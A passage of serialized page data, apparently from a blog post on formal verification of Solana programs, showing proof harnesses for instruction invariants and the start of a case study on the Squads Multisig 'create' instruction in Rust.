",{"type":23,"tag":64,"props":19757,"children":19759},{"className":19758},[1527,1528],[19760],{"type":23,"tag":481,"props":19761,"children":19763},{"className":19762},[1533],[19764],{"type":23,"tag":481,"props":19765,"children":19767},{"className":19766,"ariaHidden":1539},[1538],[19768,19805,19837],{"type":23,"tag":481,"props":19769,"children":19771},{"className":19770},[1544],[19772,19776,19781,19786,19791,19795,19801],{"type":23,"tag":481,"props":19773,"children":19775},{"className":19774,"style":1657},[1549],[],{"type":23,"tag":481,"props":19777,"children":19779},{"className":19778},[19215],[19780],{"type":28,"value":618},{"type":23,"tag":481,"props":19782,"children":19784},{"className":19783,"style":19087},[1555,19086],[19785],{"type":28,"value":19090},{"type":23,"tag":481,"props":19787,"children":19789},{"className":19788},[1555],[19790],{"type":28,"value":1568},{"type":23,"tag":481,"props":19792,"children":19794},{"className":19793,"style":1637},[1636],[],{"type":23,"tag":481,"props":19796,"children":19798},{"className":19797},[1642],[19799],{"type":28,"value":19800},"∧",{"type":23,"tag":481,"props":19802,"children":19804},{"className":19803,"style":1637},[1636],[],{"type":23,"tag":481,"props":19806,"children":19808},{"className":19807},[1544],[19809,19813,19818,19823,19827,19833],{"type":23,"tag":481,"props":19810,"children":19812},{"className":19811,"style":1657},[1549],[],{"type":23,"tag":481,"props":19814,"children":19816},{"className":19815,"style":19618},[1555,19086],[19817],{"type":28,"value":19621},{"type":23,"tag":481,"props":19819,"children":19821},{"className":19820},[19237],[19822],{"type":28,"value":642},{"type":23,"tag":481,"props":19824,"children":19826},{"className":19825,"style":1734},[1636],[],{"type":23,"tag":481,"props":19828,"children":19830},{"className":19829},[1739],[19831],{"type":28,"value":19832},"→",{"type":23,"tag":481,"props":19834,"children":19836},{"className":19835,"style":1734},[1636],[],{"type":23,"tag":481,"props":19838,"children":19840},{"className":19839},[1544],[19841,19845,19850],{"type":23,"tag":481,"props":19842,"children":19844},{"className":19843,"style":19081},[1549],[],{"type":23,"tag":481,"props":19846,"children":19848},{"className":19847,"style":19087},[1555,19086],[19849],{"type":28,"value":19090},{"type":23,"tag":481,"props":19851,"children":19853},{"className":19852},[1555],[19854],{"type":28,"value":1558},{"type":23,"tag":24,"props":19856,"children":19857},{},[19858],{"type":28,"value":19859},"We can construct a proof harness like the following:",{"type":23,"tag":435,"props":19861,"children":19863},{"code":19862,"language":16957,"meta":7,"className":16958,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[19864],{"type":23,"tag":64,"props":19865,"children":19866},{"__ignoreMap":7},[19867,19875,19892],{"type":23,"tag":481,"props":19868,"children":19869},{"class":483,"line":484},[19870],{"type":23,"tag":481,"props":19871,"children":19872},{"style":525},[19873],{"type":28,"value":19874},"assume(P0)\n",{"type":23,"tag":481,"props":19876,"children":19877},{"class":483,"line":351},[19878,19883,19887],{"type":23,"tag":481,"props":19879,"children":19880},{"style":525},[19881],{"type":28,"value":19882},"res ",{"type":23,"tag":481,"props":19884,"children":19885},{"style":514},[19886],{"type":28,"value":603},{"type":23,"tag":481,"props":19888,"children":19889},{"style":525},[19890],{"type":28,"value":19891}," instruction_handler(...)\n",{"type":23,"tag":481,"props":19893,"children":19894},{"class":483,"line":531},[19895,19899,19903,19908,19913,19918],{"type":23,"tag":481,"props":19896,"children":19897},{"style":535},[19898],{"type":28,"value":17481},{"type":23,"tag":481,"props":19900,"children":19901},{"style":525},[19902],{"type":28,"value":618},{"type":23,"tag":481,"props":19904,"children":19906},{"style":19905},"--shiki-default:#F44747",[19907],{"type":28,"value":18119},{"type":23,"tag":481,"props":19909,"children":19910},{"style":525},[19911],{"type":28,"value":19912},"K ",{"type":23,"tag":481,"props":19914,"children":19915},{"style":19905},[19916],{"type":28,"value":19917},"||",{"type":23,"tag":481,"props":19919,"children":19920},{"style":525},[19921],{"type":28,"value":19922}," P1)\n",{"type":23,"tag":24,"props":19924,"children":19925},{},[19926],{"type":28,"value":19927},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":7092,"props":19929,"children":19931},{"id":19930},"positive-instruction-invariant",[19932],{"type":28,"value":19933},"Positive instruction invariant",{"type":23,"tag":24,"props":19935,"children":19936},{},[19937,19939,19945,19947,19998],{"type":28,"value":19938},"Next we need to prove that ",{"type":23,"tag":64,"props":19940,"children":19942},{"className":19941},[],[19943],{"type":28,"value":19944},"success_if",{"type":28,"value":19946}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":64,"props":19948,"children":19950},{"className":19949},[1527,1528],[19951],{"type":23,"tag":481,"props":19952,"children":19954},{"className":19953},[1533],[19955],{"type":23,"tag":481,"props":19956,"children":19958},{"className":19957,"ariaHidden":1539},[1538],[19959,19985],{"type":23,"tag":481,"props":19960,"children":19962},{"className":19961},[1544],[19963,19967,19972,19976,19981],{"type":23,"tag":481,"props":19964,"children":19966},{"className":19965,"style":19081},[1549],[],{"type":23,"tag":481,"props":19968,"children":19970},{"className":19969,"style":19545},[1555,19086],[19971],{"type":28,"value":19548},{"type":23,"tag":481,"props":19973,"children":19975},{"className":19974,"style":1734},[1636],[],{"type":23,"tag":481,"props":19977,"children":19979},{"className":19978},[1739],[19980],{"type":28,"value":19832},{"type":23,"tag":481,"props":19982,"children":19984},{"className":19983,"style":1734},[1636],[],{"type":23,"tag":481,"props":19986,"children":19988},{"className":19987},[1544],[19989,19993],{"type":23,"tag":481,"props":19990,"children":19992},{"className":19991,"style":19081},[1549],[],{"type":23,"tag":481,"props":19994,"children":19996},{"className":19995,"style":19618},[1555,19086],[19997],{"type":28,"value":19621},{"type":28,"value":199},{"type":23,"tag":24,"props":20000,"children":20001},{},[20002],{"type":28,"value":20003},"Just like before we can construct a proof harness:",{"type":23,"tag":435,"props":20005,"children":20007},{"code":20006,"language":16957,"meta":7,"className":16958,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[20008],{"type":23,"tag":64,"props":20009,"children":20010},{"__ignoreMap":7},[20011,20019,20034],{"type":23,"tag":481,"props":20012,"children":20013},{"class":483,"line":484},[20014],{"type":23,"tag":481,"props":20015,"children":20016},{"style":525},[20017],{"type":28,"value":20018},"assume(S)\n",{"type":23,"tag":481,"props":20020,"children":20021},{"class":483,"line":351},[20022,20026,20030],{"type":23,"tag":481,"props":20023,"children":20024},{"style":525},[20025],{"type":28,"value":19882},{"type":23,"tag":481,"props":20027,"children":20028},{"style":514},[20029],{"type":28,"value":603},{"type":23,"tag":481,"props":20031,"children":20032},{"style":525},[20033],{"type":28,"value":19891},{"type":23,"tag":481,"props":20035,"children":20036},{"class":483,"line":531},[20037,20041],{"type":23,"tag":481,"props":20038,"children":20039},{"style":535},[20040],{"type":28,"value":17481},{"type":23,"tag":481,"props":20042,"children":20043},{"style":525},[20044],{"type":28,"value":20045},"(K)\n",{"type":23,"tag":24,"props":20047,"children":20048},{},[20049,20051,20056,20058,20070],{"type":28,"value":20050},"This proof assures that whenever ",{"type":23,"tag":64,"props":20052,"children":20054},{"className":20053},[],[20055],{"type":28,"value":17652},{"type":28,"value":20057}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":127,"props":20059,"children":20060},{},[20061,20063,20068],{"type":28,"value":20062},"even if ",{"type":23,"tag":64,"props":20064,"children":20066},{"className":20065},[],[20067],{"type":28,"value":17652},{"type":28,"value":20069}," is not satisfied",{"type":28,"value":20071},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":7092,"props":20073,"children":20075},{"id":20074},"_3-negative-instruction-invariant",[20076],{"type":28,"value":20077},"3. Negative instruction invariant",{"type":23,"tag":24,"props":20079,"children":20080},{},[20081,20083,20088,20090,20146],{"type":28,"value":20082},"Finally, we want to prove that ",{"type":23,"tag":64,"props":20084,"children":20086},{"className":20085},[],[20087],{"type":28,"value":17659},{"type":28,"value":20089}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":64,"props":20091,"children":20093},{"className":20092},[1527,1528],[20094],{"type":23,"tag":481,"props":20095,"children":20097},{"className":20096},[1533],[20098],{"type":23,"tag":481,"props":20099,"children":20101},{"className":20100,"ariaHidden":1539},[1538],[20102,20128],{"type":23,"tag":481,"props":20103,"children":20105},{"className":20104},[1544],[20106,20110,20115,20119,20124],{"type":23,"tag":481,"props":20107,"children":20109},{"className":20108,"style":19081},[1549],[],{"type":23,"tag":481,"props":20111,"children":20113},{"className":20112,"style":19545},[1555,19086],[20114],{"type":28,"value":19583},{"type":23,"tag":481,"props":20116,"children":20118},{"className":20117,"style":1734},[1636],[],{"type":23,"tag":481,"props":20120,"children":20122},{"className":20121},[1739],[20123],{"type":28,"value":19832},{"type":23,"tag":481,"props":20125,"children":20127},{"className":20126,"style":1734},[1636],[],{"type":23,"tag":481,"props":20129,"children":20131},{"className":20130},[1544],[20132,20136,20141],{"type":23,"tag":481,"props":20133,"children":20135},{"className":20134,"style":19081},[1549],[],{"type":23,"tag":481,"props":20137,"children":20139},{"className":20138},[1555],[20140],{"type":28,"value":19679},{"type":23,"tag":481,"props":20142,"children":20144},{"className":20143,"style":19618},[1555,19086],[20145],{"type":28,"value":19621},{"type":28,"value":199},{"type":23,"tag":24,"props":20148,"children":20149},{},[20150],{"type":28,"value":20151},"This harness looks just like the previous one:",{"type":23,"tag":435,"props":20153,"children":20155},{"code":20154,"language":16957,"meta":7,"className":16958,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[20156],{"type":23,"tag":64,"props":20157,"children":20158},{"__ignoreMap":7},[20159,20167,20182],{"type":23,"tag":481,"props":20160,"children":20161},{"class":483,"line":484},[20162],{"type":23,"tag":481,"props":20163,"children":20164},{"style":525},[20165],{"type":28,"value":20166},"assume(E)\n",{"type":23,"tag":481,"props":20168,"children":20169},{"class":483,"line":351},[20170,20174,20178],{"type":23,"tag":481,"props":20171,"children":20172},{"style":525},[20173],{"type":28,"value":19882},{"type":23,"tag":481,"props":20175,"children":20176},{"style":514},[20177],{"type":28,"value":603},{"type":23,"tag":481,"props":20179,"children":20180},{"style":525},[20181],{"type":28,"value":19891},{"type":23,"tag":481,"props":20183,"children":20184},{"class":483,"line":531},[20185,20189,20193,20197],{"type":23,"tag":481,"props":20186,"children":20187},{"style":535},[20188],{"type":28,"value":17481},{"type":23,"tag":481,"props":20190,"children":20191},{"style":525},[20192],{"type":28,"value":618},{"type":23,"tag":481,"props":20194,"children":20195},{"style":19905},[20196],{"type":28,"value":18119},{"type":23,"tag":481,"props":20198,"children":20199},{"style":525},[20200],{"type":28,"value":20201},"K)\n",{"type":23,"tag":24,"props":20203,"children":20204},{},[20205,20207,20211],{"type":28,"value":20206},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":127,"props":20208,"children":20209},{},[20210],{"type":28,"value":13862},{"type":28,"value":20212}," the account invariants we expect are always being preserved.",{"type":23,"tag":31,"props":20214,"children":20216},{"id":20215},"case-study-squads-multisig",[20217],{"type":28,"value":20218},"Case study: Squads Multisig",{"type":23,"tag":24,"props":20220,"children":20221},{},[20222,20224,20229],{"type":28,"value":20223},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":190,"props":20225,"children":20227},{"href":16319,"rel":20226},[194],[20228],{"type":28,"value":16323},{"type":28,"value":199},{"type":23,"tag":24,"props":20231,"children":20232},{},[20233,20235,20241,20243,20249],{"type":28,"value":20234},"The program defines a Multisig account (",{"type":23,"tag":64,"props":20236,"children":20238},{"className":20237},[],[20239],{"type":28,"value":20240},"Ms",{"type":28,"value":20242},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":64,"props":20244,"children":20246},{"className":20245},[],[20247],{"type":28,"value":20248},"threshold",{"type":28,"value":20250}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":20252,"children":20253},{},[20254],{"type":28,"value":20255},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":20257,"children":20258},{},[20259],{"type":28,"value":20260},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":73,"props":20262,"children":20263},{},[20264,20269,20274,20279],{"type":23,"tag":77,"props":20265,"children":20266},{},[20267],{"type":28,"value":20268},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":77,"props":20270,"children":20271},{},[20272],{"type":28,"value":20273},"Verify threshold requirements",{"type":23,"tag":77,"props":20275,"children":20276},{},[20277],{"type":28,"value":20278},"Verify requirements to remove a member",{"type":23,"tag":77,"props":20280,"children":20281},{},[20282],{"type":28,"value":20283},"Safety guarantees",{"type":23,"tag":7092,"props":20285,"children":20287},{"id":20286},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[20288],{"type":28,"value":20289},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":20291,"children":20292},{},[20293,20295,20300],{"type":28,"value":20294},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":64,"props":20296,"children":20298},{"className":20297},[],[20299],{"type":28,"value":17652},{"type":28,"value":20301}," expression.",{"type":23,"tag":24,"props":20303,"children":20304},{},[20305,20307,20312,20314,20320],{"type":28,"value":20306},"Creating a multisig (",{"type":23,"tag":64,"props":20308,"children":20310},{"className":20309},[],[20311],{"type":28,"value":20240},{"type":28,"value":20313},") requires invoking the ",{"type":23,"tag":64,"props":20315,"children":20317},{"className":20316},[],[20318],{"type":28,"value":20319},"create",{"type":28,"value":20321}," instruction:",{"type":23,"tag":435,"props":20323,"children":20325},{"code":20324,"language":474,"meta":7,"className":475,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[20326],{"type":23,"tag":64,"props":20327,"children":20328},{"__ignoreMap":7},[20329,20346,20401,20431,20439,20447,20464,20515,20565,20573,20614,20621,20637,20670,20712,20719,20726,20745,20773,20793,20813,20841,20860,20868,20896,20916,20936,20943,20951,20983,21006,21041,21049,21057,21066,21108,21141,21149,21157,21166,21242,21275,21283,21291,21328,21341,21354,21367,21421,21430],{"type":23,"tag":481,"props":20330,"children":20331},{"class":483,"line":484},[20332,20337,20342],{"type":23,"tag":481,"props":20333,"children":20334},{"style":525},[20335],{"type":28,"value":20336},"#[derive(",{"type":23,"tag":481,"props":20338,"children":20339},{"style":943},[20340],{"type":28,"value":20341},"Accounts",{"type":23,"tag":481,"props":20343,"children":20344},{"style":525},[20345],{"type":28,"value":17756},{"type":23,"tag":481,"props":20347,"children":20348},{"class":483,"line":351},[20349,20354,20358,20362,20367,20371,20375,20380,20384,20388,20392,20396],{"type":23,"tag":481,"props":20350,"children":20351},{"style":525},[20352],{"type":28,"value":20353},"#[instruction(threshold",{"type":23,"tag":481,"props":20355,"children":20356},{"style":514},[20357],{"type":28,"value":287},{"type":23,"tag":481,"props":20359,"children":20360},{"style":943},[20361],{"type":28,"value":18528},{"type":23,"tag":481,"props":20363,"children":20364},{"style":525},[20365],{"type":28,"value":20366},", create_key",{"type":23,"tag":481,"props":20368,"children":20369},{"style":514},[20370],{"type":28,"value":287},{"type":23,"tag":481,"props":20372,"children":20373},{"style":943},[20374],{"type":28,"value":18355},{"type":23,"tag":481,"props":20376,"children":20377},{"style":525},[20378],{"type":28,"value":20379},", members",{"type":23,"tag":481,"props":20381,"children":20382},{"style":514},[20383],{"type":28,"value":287},{"type":23,"tag":481,"props":20385,"children":20386},{"style":943},[20387],{"type":28,"value":18887},{"type":23,"tag":481,"props":20389,"children":20390},{"style":525},[20391],{"type":28,"value":3282},{"type":23,"tag":481,"props":20393,"children":20394},{"style":943},[20395],{"type":28,"value":18896},{"type":23,"tag":481,"props":20397,"children":20398},{"style":525},[20399],{"type":28,"value":20400},">)]\n",{"type":23,"tag":481,"props":20402,"children":20403},{"class":483,"line":531},[20404,20408,20412,20417,20422,20427],{"type":23,"tag":481,"props":20405,"children":20406},{"style":497},[20407],{"type":28,"value":11178},{"type":23,"tag":481,"props":20409,"children":20410},{"style":497},[20411],{"type":28,"value":18649},{"type":23,"tag":481,"props":20413,"children":20414},{"style":943},[20415],{"type":28,"value":20416}," Create",{"type":23,"tag":481,"props":20418,"children":20419},{"style":525},[20420],{"type":28,"value":20421},"\u003C'",{"type":23,"tag":481,"props":20423,"children":20424},{"style":943},[20425],{"type":28,"value":20426},"info",{"type":23,"tag":481,"props":20428,"children":20429},{"style":525},[20430],{"type":28,"value":4759},{"type":23,"tag":481,"props":20432,"children":20433},{"class":483,"line":567},[20434],{"type":23,"tag":481,"props":20435,"children":20436},{"style":525},[20437],{"type":28,"value":20438}," #[account(\n",{"type":23,"tag":481,"props":20440,"children":20441},{"class":483,"line":678},[20442],{"type":23,"tag":481,"props":20443,"children":20444},{"style":525},[20445],{"type":28,"value":20446}," init,\n",{"type":23,"tag":481,"props":20448,"children":20449},{"class":483,"line":784},[20450,20455,20459],{"type":23,"tag":481,"props":20451,"children":20452},{"style":525},[20453],{"type":28,"value":20454}," payer ",{"type":23,"tag":481,"props":20456,"children":20457},{"style":514},[20458],{"type":28,"value":603},{"type":23,"tag":481,"props":20460,"children":20461},{"style":525},[20462],{"type":28,"value":20463}," creator,\n",{"type":23,"tag":481,"props":20465,"children":20466},{"class":483,"line":812},[20467,20472,20476,20480,20484,20489,20493,20498,20502,20506,20510],{"type":23,"tag":481,"props":20468,"children":20469},{"style":525},[20470],{"type":28,"value":20471}," space ",{"type":23,"tag":481,"props":20473,"children":20474},{"style":514},[20475],{"type":28,"value":603},{"type":23,"tag":481,"props":20477,"children":20478},{"style":943},[20479],{"type":28,"value":18654},{"type":23,"tag":481,"props":20481,"children":20482},{"style":514},[20483],{"type":28,"value":1006},{"type":23,"tag":481,"props":20485,"children":20486},{"style":943},[20487],{"type":28,"value":20488},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":481,"props":20490,"children":20491},{"style":514},[20492],{"type":28,"value":6385},{"type":23,"tag":481,"props":20494,"children":20495},{"style":525},[20496],{"type":28,"value":20497}," (members",{"type":23,"tag":481,"props":20499,"children":20500},{"style":514},[20501],{"type":28,"value":199},{"type":23,"tag":481,"props":20503,"children":20504},{"style":525},[20505],{"type":28,"value":18519},{"type":23,"tag":481,"props":20507,"children":20508},{"style":514},[20509],{"type":28,"value":2120},{"type":23,"tag":481,"props":20511,"children":20512},{"style":525},[20513],{"type":28,"value":20514}," 32),\n",{"type":23,"tag":481,"props":20516,"children":20517},{"class":483,"line":825},[20518,20523,20527,20532,20537,20541,20545,20550,20555,20560],{"type":23,"tag":481,"props":20519,"children":20520},{"style":525},[20521],{"type":28,"value":20522}," seeds ",{"type":23,"tag":481,"props":20524,"children":20525},{"style":514},[20526],{"type":28,"value":603},{"type":23,"tag":481,"props":20528,"children":20529},{"style":525},[20530],{"type":28,"value":20531}," [",{"type":23,"tag":481,"props":20533,"children":20534},{"style":1805},[20535],{"type":28,"value":20536},"b\"squad\"",{"type":23,"tag":481,"props":20538,"children":20539},{"style":525},[20540],{"type":28,"value":20366},{"type":23,"tag":481,"props":20542,"children":20543},{"style":514},[20544],{"type":28,"value":199},{"type":23,"tag":481,"props":20546,"children":20547},{"style":525},[20548],{"type":28,"value":20549},"as_ref(), ",{"type":23,"tag":481,"props":20551,"children":20552},{"style":1805},[20553],{"type":28,"value":20554},"b\"multisig\"",{"type":23,"tag":481,"props":20556,"children":20557},{"style":525},[20558],{"type":28,"value":20559},"], ",{"type":23,"tag":481,"props":20561,"children":20562},{"style":508},[20563],{"type":28,"value":20564},"bump\n",{"type":23,"tag":481,"props":20566,"children":20567},{"class":483,"line":843},[20568],{"type":23,"tag":481,"props":20569,"children":20570},{"style":525},[20571],{"type":28,"value":20572}," )]\n",{"type":23,"tag":481,"props":20574,"children":20575},{"class":483,"line":864},[20576,20580,20585,20589,20594,20598,20602,20606,20610],{"type":23,"tag":481,"props":20577,"children":20578},{"style":497},[20579],{"type":28,"value":18341},{"type":23,"tag":481,"props":20581,"children":20582},{"style":508},[20583],{"type":28,"value":20584}," multisig",{"type":23,"tag":481,"props":20586,"children":20587},{"style":514},[20588],{"type":28,"value":287},{"type":23,"tag":481,"props":20590,"children":20591},{"style":943},[20592],{"type":28,"value":20593}," Account",{"type":23,"tag":481,"props":20595,"children":20596},{"style":525},[20597],{"type":28,"value":20421},{"type":23,"tag":481,"props":20599,"children":20600},{"style":943},[20601],{"type":28,"value":20426},{"type":23,"tag":481,"props":20603,"children":20604},{"style":525},[20605],{"type":28,"value":588},{"type":23,"tag":481,"props":20607,"children":20608},{"style":943},[20609],{"type":28,"value":20240},{"type":23,"tag":481,"props":20611,"children":20612},{"style":525},[20613],{"type":28,"value":3615},{"type":23,"tag":481,"props":20615,"children":20616},{"class":483,"line":873},[20617],{"type":23,"tag":481,"props":20618,"children":20619},{"emptyLinePlaceholder":15},[20620],{"type":28,"value":1210},{"type":23,"tag":481,"props":20622,"children":20623},{"class":483,"line":1125},[20624,20629,20633],{"type":23,"tag":481,"props":20625,"children":20626},{"style":525},[20627],{"type":28,"value":20628}," #[account(",{"type":23,"tag":481,"props":20630,"children":20631},{"style":497},[20632],{"type":28,"value":1259},{"type":23,"tag":481,"props":20634,"children":20635},{"style":525},[20636],{"type":28,"value":17756},{"type":23,"tag":481,"props":20638,"children":20639},{"class":483,"line":1142},[20640,20644,20649,20653,20658,20662,20666],{"type":23,"tag":481,"props":20641,"children":20642},{"style":497},[20643],{"type":28,"value":18341},{"type":23,"tag":481,"props":20645,"children":20646},{"style":508},[20647],{"type":28,"value":20648}," creator",{"type":23,"tag":481,"props":20650,"children":20651},{"style":514},[20652],{"type":28,"value":287},{"type":23,"tag":481,"props":20654,"children":20655},{"style":943},[20656],{"type":28,"value":20657}," Signer",{"type":23,"tag":481,"props":20659,"children":20660},{"style":525},[20661],{"type":28,"value":20421},{"type":23,"tag":481,"props":20663,"children":20664},{"style":943},[20665],{"type":28,"value":20426},{"type":23,"tag":481,"props":20667,"children":20668},{"style":525},[20669],{"type":28,"value":3615},{"type":23,"tag":481,"props":20671,"children":20672},{"class":483,"line":1159},[20673,20677,20682,20686,20691,20695,20699,20703,20708],{"type":23,"tag":481,"props":20674,"children":20675},{"style":497},[20676],{"type":28,"value":18341},{"type":23,"tag":481,"props":20678,"children":20679},{"style":508},[20680],{"type":28,"value":20681}," system_program",{"type":23,"tag":481,"props":20683,"children":20684},{"style":514},[20685],{"type":28,"value":287},{"type":23,"tag":481,"props":20687,"children":20688},{"style":943},[20689],{"type":28,"value":20690}," Program",{"type":23,"tag":481,"props":20692,"children":20693},{"style":525},[20694],{"type":28,"value":20421},{"type":23,"tag":481,"props":20696,"children":20697},{"style":943},[20698],{"type":28,"value":20426},{"type":23,"tag":481,"props":20700,"children":20701},{"style":525},[20702],{"type":28,"value":588},{"type":23,"tag":481,"props":20704,"children":20705},{"style":943},[20706],{"type":28,"value":20707},"System",{"type":23,"tag":481,"props":20709,"children":20710},{"style":525},[20711],{"type":28,"value":3615},{"type":23,"tag":481,"props":20713,"children":20714},{"class":483,"line":1172},[20715],{"type":23,"tag":481,"props":20716,"children":20717},{"style":525},[20718],{"type":28,"value":1443},{"type":23,"tag":481,"props":20720,"children":20721},{"class":483,"line":1181},[20722],{"type":23,"tag":481,"props":20723,"children":20724},{"emptyLinePlaceholder":15},[20725],{"type":28,"value":1210},{"type":23,"tag":481,"props":20727,"children":20728},{"class":483,"line":1204},[20729,20733,20737,20741],{"type":23,"tag":481,"props":20730,"children":20731},{"style":497},[20732],{"type":28,"value":11178},{"type":23,"tag":481,"props":20734,"children":20735},{"style":497},[20736],{"type":28,"value":11183},{"type":23,"tag":481,"props":20738,"children":20739},{"style":610},[20740],{"type":28,"value":4590},{"type":23,"tag":481,"props":20742,"children":20743},{"style":525},[20744],{"type":28,"value":988},{"type":23,"tag":481,"props":20746,"children":20747},{"class":483,"line":1213},[20748,20752,20756,20760,20764,20769],{"type":23,"tag":481,"props":20749,"children":20750},{"style":508},[20751],{"type":28,"value":17721},{"type":23,"tag":481,"props":20753,"children":20754},{"style":514},[20755],{"type":28,"value":287},{"type":23,"tag":481,"props":20757,"children":20758},{"style":943},[20759],{"type":28,"value":17787},{"type":23,"tag":481,"props":20761,"children":20762},{"style":525},[20763],{"type":28,"value":3282},{"type":23,"tag":481,"props":20765,"children":20766},{"style":943},[20767],{"type":28,"value":20768},"Create",{"type":23,"tag":481,"props":20770,"children":20771},{"style":525},[20772],{"type":28,"value":3615},{"type":23,"tag":481,"props":20774,"children":20775},{"class":483,"line":1222},[20776,20781,20785,20789],{"type":23,"tag":481,"props":20777,"children":20778},{"style":508},[20779],{"type":28,"value":20780}," threshold",{"type":23,"tag":481,"props":20782,"children":20783},{"style":514},[20784],{"type":28,"value":287},{"type":23,"tag":481,"props":20786,"children":20787},{"style":943},[20788],{"type":28,"value":18528},{"type":23,"tag":481,"props":20790,"children":20791},{"style":525},[20792],{"type":28,"value":1033},{"type":23,"tag":481,"props":20794,"children":20795},{"class":483,"line":1291},[20796,20801,20805,20809],{"type":23,"tag":481,"props":20797,"children":20798},{"style":508},[20799],{"type":28,"value":20800}," create_key",{"type":23,"tag":481,"props":20802,"children":20803},{"style":514},[20804],{"type":28,"value":287},{"type":23,"tag":481,"props":20806,"children":20807},{"style":943},[20808],{"type":28,"value":18355},{"type":23,"tag":481,"props":20810,"children":20811},{"style":525},[20812],{"type":28,"value":1033},{"type":23,"tag":481,"props":20814,"children":20815},{"class":483,"line":1299},[20816,20821,20825,20829,20833,20837],{"type":23,"tag":481,"props":20817,"children":20818},{"style":508},[20819],{"type":28,"value":20820}," members",{"type":23,"tag":481,"props":20822,"children":20823},{"style":514},[20824],{"type":28,"value":287},{"type":23,"tag":481,"props":20826,"children":20827},{"style":943},[20828],{"type":28,"value":18887},{"type":23,"tag":481,"props":20830,"children":20831},{"style":525},[20832],{"type":28,"value":3282},{"type":23,"tag":481,"props":20834,"children":20835},{"style":943},[20836],{"type":28,"value":18896},{"type":23,"tag":481,"props":20838,"children":20839},{"style":525},[20840],{"type":28,"value":3615},{"type":23,"tag":481,"props":20842,"children":20843},{"class":483,"line":1329},[20844,20848,20852,20856],{"type":23,"tag":481,"props":20845,"children":20846},{"style":525},[20847],{"type":28,"value":598},{"type":23,"tag":481,"props":20849,"children":20850},{"style":514},[20851],{"type":28,"value":11245},{"type":23,"tag":481,"props":20853,"children":20854},{"style":943},[20855],{"type":28,"value":11250},{"type":23,"tag":481,"props":20857,"children":20858},{"style":525},[20859],{"type":28,"value":17829},{"type":23,"tag":481,"props":20861,"children":20862},{"class":483,"line":1337},[20863],{"type":23,"tag":481,"props":20864,"children":20865},{"style":488},[20866],{"type":28,"value":20867}," // sort the members and remove duplicates\n",{"type":23,"tag":481,"props":20869,"children":20870},{"class":483,"line":1369},[20871,20875,20879,20884,20888,20892],{"type":23,"tag":481,"props":20872,"children":20873},{"style":497},[20874],{"type":28,"value":500},{"type":23,"tag":481,"props":20876,"children":20877},{"style":497},[20878],{"type":28,"value":505},{"type":23,"tag":481,"props":20880,"children":20881},{"style":508},[20882],{"type":28,"value":20883}," members",{"type":23,"tag":481,"props":20885,"children":20886},{"style":514},[20887],{"type":28,"value":517},{"type":23,"tag":481,"props":20889,"children":20890},{"style":508},[20891],{"type":28,"value":20883},{"type":23,"tag":481,"props":20893,"children":20894},{"style":525},[20895],{"type":28,"value":528},{"type":23,"tag":481,"props":20897,"children":20898},{"class":483,"line":1377},[20899,20903,20907,20912],{"type":23,"tag":481,"props":20900,"children":20901},{"style":508},[20902],{"type":28,"value":20820},{"type":23,"tag":481,"props":20904,"children":20905},{"style":514},[20906],{"type":28,"value":199},{"type":23,"tag":481,"props":20908,"children":20909},{"style":610},[20910],{"type":28,"value":20911},"sort",{"type":23,"tag":481,"props":20913,"children":20914},{"style":525},[20915],{"type":28,"value":1201},{"type":23,"tag":481,"props":20917,"children":20918},{"class":483,"line":1437},[20919,20923,20927,20932],{"type":23,"tag":481,"props":20920,"children":20921},{"style":508},[20922],{"type":28,"value":20820},{"type":23,"tag":481,"props":20924,"children":20925},{"style":514},[20926],{"type":28,"value":199},{"type":23,"tag":481,"props":20928,"children":20929},{"style":610},[20930],{"type":28,"value":20931},"dedup",{"type":23,"tag":481,"props":20933,"children":20934},{"style":525},[20935],{"type":28,"value":1201},{"type":23,"tag":481,"props":20937,"children":20938},{"class":483,"line":6528},[20939],{"type":23,"tag":481,"props":20940,"children":20941},{"emptyLinePlaceholder":15},